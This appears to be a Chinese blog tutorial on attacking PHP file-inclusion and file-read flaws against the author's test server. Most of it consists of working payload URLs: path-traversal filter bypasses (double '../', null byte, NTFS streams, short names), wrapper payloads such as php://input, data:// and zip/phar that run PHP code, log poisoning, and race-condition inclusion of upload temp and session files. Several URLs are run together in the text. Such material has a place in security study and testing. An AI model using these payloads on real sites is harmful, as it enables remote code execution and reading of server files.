php 删除文件_PHP文件包含

一,PHP中关于文件的操作

任意文件读取/下载,任意文件删除,任意文件包含file_get_contents()unlink()include()
支持【./】和【../】,【../】可用来穿越目录

http://luoke.cn:81/test/1.php?path2=../1.txt

12c962c65dfc2ce3159ec1588b9f0484.png

对于将【../】替换为空的,可以双写绕过【..././】
对于强制要求以【upload/】开头的,可以【upload/../../】绕过
对于强制要求以【.xlsx】结尾的,可以【1.php%00.xlsx】绕过
对于Windows服务器支持【..\】,支持NTFS文件流【txt::$DATA】

http://luoke.cn:81/test/1.php?path2=..\1.txt

支持短文件名,注意,apache默认url也支持短文件名,

http://luoke.cn:81/test/1.php?path2=123456~1.txthttp://luoke.cn:81/test/123456~1.txt

IIS虽然不支持,但是可以用用404和400猜解出来

https://github.com/lijiejie/IIS_shortname_Scanner

file_get_contents()include()对于Windows服务器支持后面有一些多余的字符,比如空格和点,bp fuzz如下
%20,%22,%2e,%3c,%3e,%81-%fe

http://luoke.cn:81/test/1.php?path2=1.txt%fe

还可以用当做通配符代替后缀

http://luoke.cn:81/test/1.php?path2=1.http://luoke.cn:81/test/1.php?path2=1.<http://luoke.cn:81/test/1.php?path2=1.>>>

二,PHP中支持多种协议

file

http://luoke.cn:81/test/1.php?path2=file:///C:/xampp/htdocs/1.txt

http(s)ftp
file_get_contents需要allow_url_fopen=On
include需要allow_url_fopen=On allow_url_include=On

http://luoke.cn:81/test/1.php?path2=http://www.baidu.comhttp://luoke.cn:81/test/1.php?path2=ftp://luoke.cn/Downloads/test/1.bat

php://filter
需要allow_url_fopen=On,用include也只能读取文件内容而不能执行代码

http://luoke.cn:81/test/1.php?path2=php://filter/resource=1.txthttp://luoke.cn:81/test/1.php?path2=php://filter/convert.base64-encode/resource=1.txthttp://luoke.cn:81/test/1.php?path2=php://filter/read=string.toupper|string.rot13/resource=1.txt

也可以和其他协议一起来用

http://luoke.cn:81/test/1.php?path2=php://filter/convert.base64-encode/resource=https://www.baidu.com

php://input
需要allow_url_include=on

POST /test/1.php?path1=php://input<?php phpinfo();?>

更多php://协议见

https://www.php.net/manual/zh/wrappers.php.php

zip,compress.zlib, compress.bzip2,phar

http://luoke.cn:81/test/1.php?path1=zip://C:\xampp\htdocs\test\1.zip%23test.phphttp://luoke.cn:81/test/1.php?path1=compress.bzip2://C:\xampp\htdocs\test\1.bz2http://luoke.cn:81/test/1.php?path1=compress.zlib://C:\xampp\htdocs\test\1.gz

上面三个必须使用绝对路径,bz2和gz压缩包需要在linux环境生成

tar -czf 1.gz phpinfo.phptar -cjf 1.bz2 phpinfo.phphttp://luoke.cn:81/test/1.php?path1=phar://1.zip/test.php

data:text/plain
需要allow_url_fopen=On allow_url_include=On

http://luoke.cn:81/test/1.php?path1=data:text/plain,<?php %20phpinfo();?>http://luoke.cn:81/test/1.php?path1=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

smb
仅windows服务器支持,双off都可以包含,但国内公网已屏蔽smb协议

http://luoke.cn:81/test/1.php?path1=\\127.0.0.1\Users\Administrator.log


三,无法上传文件如何包含

可以包含缓存或者日志文件

http://luoke.cn:81/test/1.php?<?php phpinfo();?>

用burp直接发包,浏览器会url编码,这样即使报错400也会被写入log

http://luoke.cn:81/test/1.php?path1=../../apache/logs/access.log

a5a85fa8809c603fc959bc292becc6b6.png

包含php的上传缓存,目录于phpinfo中upload_tmp_dir

2e86a23031ac3cec02b18372f2581381.png

其原理是对任意php构造上传表单(即使无法上传文件),都会在此目录生成一个php****.tmp的缓存文件

90c9eae3f0f9a37f78b94bcc88332082.png

可以包含此文件,但文件存活时间很短且随机名称,所以可以在phpinfo页面上传文件, phpinfo中含有此缓存文件的名称。

f0e2b55abf168f8d4cd3d2fd2a357699.png

同时会将一些head头和GET打印出来,会延迟tmp文件删除的时间,需要在head和GET头填入垃圾字符。脚本如下

https://github.com/luoke90hou/files/blob/main/include_tmp.py

无phpinfo,有PHPSESSID还可以包含tmp目录里的session文件
session_start()开启session。

17ef0e0f4b9d77fc5fb240a6dae6ef14.png

c85b6768851bf1af33b5fdab13a75b4f.png

随便构造一个对任意php文件上传内容为<?php phpinfo();?>的文件

<form action="http://luoke.cn:81/echo.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="" /> <input type="file" name="file" /><input type="submit" />form>

然后burp条件竞争

http://luoke.cn:81/test/1.php?path1=file:///C:\xampp\tmp\sess_2sm7vtt2i612p3ith57rhi5gqc

成功包含

fc6b097839d6d543a8f5b099229f29b9.png

CVE-2018-12613 phpmyadmin也是包含的session文件

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值